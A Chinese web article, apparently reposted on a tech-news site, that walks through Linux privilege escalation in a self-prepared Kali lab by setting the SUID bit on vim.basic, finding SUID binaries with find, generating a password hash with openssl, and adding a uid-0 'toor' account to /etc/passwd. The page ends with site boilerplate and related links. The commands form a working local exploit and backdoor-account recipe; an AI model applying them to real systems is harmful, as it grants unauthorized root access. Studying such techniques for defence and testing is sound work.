广告
返回顶部
首页 > 资讯 > 操作系统 >Linux使用suid vim.basic文件实现提权
  • 929
分享到

Linux使用suid vim.basic文件实现提权

linuxsuidvimbasic提权 2022-06-03 14:06:13 929人浏览 八月长安
摘要

在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 通过以下命令可以

在kali上复现

先给需要的vim.basic文件设置suid权限

chmod u+s /usr/bin/vim.basic

先adduser test1一个普通权限用户

现在就是一个合适的提权环境

通过以下命令可以找到存在suid权限的文件

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

可用于提权的文件有

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户

passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell

这边可以看看root用户的格式

root:x:0:0:root:/root:/bin/bash

(密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)

生成密码:用openssl passwd -1 ?salt asd 123 (这里是-1(数字1)不是L)

直接写在passwd文件里面,

toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash

用vim /etc/passwd可以修改,但是在保存是会出现E212,无法保存,提示我们没有权限修改这个

这时应该用之前find找到的vim.basic文件运行,这个程序是有suid权限的。绝对可以修改

vim.basic /etc/passwd

用这个打开,然后修改文件,就可以成功保存

可以看到已经添加了,su toor切换,密码123,再id查看一下权限

root权限

chmod u+s /usr/bin/vim.basic

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持编程网。

--结束END--

本文标题: Linux使用suid vim.basic文件实现提权

本文链接: https://www.lsjlt.com/news/11500.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • Linux使用suid vim.basic文件实现提权
    在kali上复现 先给需要的vim.basic文件设置suid权限 chmod u+s /usr/bin/vim.basic 先adduser test1一个普通权限用户 现在就是一个合适的提权环境 通过以下命令可以...
    99+
    2022-06-03
    linux suid vim basic 提权
  • Linux(ubuntu)下实现增加/删除文件权限
    【权限篇】 ubuntu系统中,对于不同用户及不同用户组中用户对文件的操作权限都不相同,通过控制台我们可以快速的对文件权限进行操作。 对于修改权限可以使用两种方案来更改其权限,下面认识一下文件系统权限的组成: 文件权限查...
    99+
    2022-06-04
    ubuntu 删除文件权限
  • 如何使用SCP实现Linux文件互传
    这篇文章主要为大家展示了“如何使用SCP实现Linux文件互传”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“如何使用SCP实现Linux文件互传”这篇文章吧。近来要做linux主机的P2V操作(...
    99+
    2023-06-13
  • Linux文件/目录的权限及归属管理使用
    一、文件的权限和归属概述 1、访问权限 读取r:允许查看文件内容、显示目录列表; 写入w:允许修改文件内容,允许在目录中新建、移动、删除文件或子目录; 可执行x:允许运行程序、切换目录 2、归属(所有权) 属主:拥有...
    99+
    2022-06-04
    Linux文件权限归属 Linux 目录权限归属 linux查看目录权限
  • 怎么在Linux中使用shell 提取文件名
    怎么在Linux中使用shell 提取文件名?针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。什么是Linux系统Linux是一种免费使用和自由传播的类UNIX操作系统,是一个...
    99+
    2023-06-09
  • Linux下如何使用ACL备份及恢复文件权限
    小编给大家分享一下Linux下如何使用ACL备份及恢复文件权限,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!ACL的全称是 Access Control List...
    99+
    2023-06-27
  • 如何在Linux中使用chmod命令修改文件权限
    如何在Linux中使用chmod命令修改文件权限?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。语法:chmod [who] [+ | - | =] [mode]...
    99+
    2023-06-13
  • Linux中如何使用chgrp和umask命令控制文件权限
    这篇文章将为大家详细讲解有关Linux中如何使用chgrp和umask命令控制文件权限,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。chgrp - 改变文件的组所有权总览chgrp [选项]...
    99+
    2023-06-12
  • 如何使用Linux文本操作命令ed进行提权nov5详解
    前言 本文我将为大家介绍一个面向行的文本编辑器命令“ed”,它主要用于生成,显示,更改和操作文本文件。所有ed命令都在行或行范围内执行操作;例如,“d”命令删除行;“m”命令移动行,“t”命令复制行等等。现在,我们要做的...
    99+
    2022-06-04
    linux 提权 linux提权命令 ed命令
  • 如何使用notify+rsync实现linux文件批量更新
    这篇文章主要介绍“如何使用notify+rsync实现linux文件批量更新”,在日常操作中,相信很多人在如何使用notify+rsync实现linux文件批量更新问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答...
    99+
    2023-06-28
  • 如何实现LINUX中文件系统的权限修改与安全设置
    这篇文章主要讲解了“如何实现LINUX中文件系统的权限修改与安全设置”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“如何实现LINUX中文件系统的权限修改与安全设置”吧!  一、锁定系统重要文...
    99+
    2023-06-13
  • 如何使用ACL工具备份和恢复Linux的文件权限
    这篇文章主要介绍“如何使用ACL工具备份和恢复Linux的文件权限”,在日常操作中,相信很多人在如何使用ACL工具备份和恢复Linux的文件权限问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”如何使用ACL工具...
    99+
    2023-06-28
  • Linux下如何使用inotify+rsync实现文件批量更新
    这篇文章主要为大家展示了“Linux下如何使用inotify+rsync实现文件批量更新”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“Linux下如何使用inotify+rsync实现文件批量更...
    99+
    2023-06-27
  • linux 中怎么使用awk命令实现多文件操作
    linux 中怎么使用awk命令实现多文件操作 ,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。代码如下:[chengmo@centos5 shell]$ awk...
    99+
    2023-06-13
  • Python使用sftp实现传文件夹和文件
    利用python的sftp实现文件上传,可以是文件,也可以是文件夹。 版本Python2.7.13 应该不用pip安装更多的插件,都是自带的 不多说 上代码 # -*- codi...
    99+
    2022-11-12
  • Linux系统如何使用.hushlogin文件关闭登录提示
    这篇文章主要介绍了Linux系统如何使用.hushlogin文件关闭登录提示,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。如何使用 .hushlogin 关闭登录提示信息首先...
    99+
    2023-06-28
  • 怎么删除linux中使用root权限都删除不了的文件
    本篇内容主要讲解“怎么删除linux中使用root权限都删除不了的文件”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么删除linux中使用root权限都删除不了的文件”吧!在linux系统中,...
    99+
    2023-06-12
  • 使用ASP和Django在Linux上实现高效的文件管理。
    使用ASP和Django在Linux上实现高效的文件管理 随着互联网的发展,文件管理变得越来越重要。为了能够更加高效地管理文件,在Linux系统上使用ASP和Django是一个不错的选择。本文将介绍如何使用这两种技术来实现高效的文件管理。 ...
    99+
    2023-09-20
    django linux 文件
  • 如何使用sz/rz命令实现linux与windows互传文件
    今天小编给大家分享一下如何使用sz/rz命令实现linux与windows互传文件的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下...
    99+
    2023-06-28
  • 使用AJAX实现上传文件
    本文实例为大家分享了使用AJAX实现上传文件的具体代码,供大家参考,具体内容如下 需求: 在前端页面选择文件上传到服务器的指定位置 前端代码 <form id="upl...
    99+
    2022-11-12
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作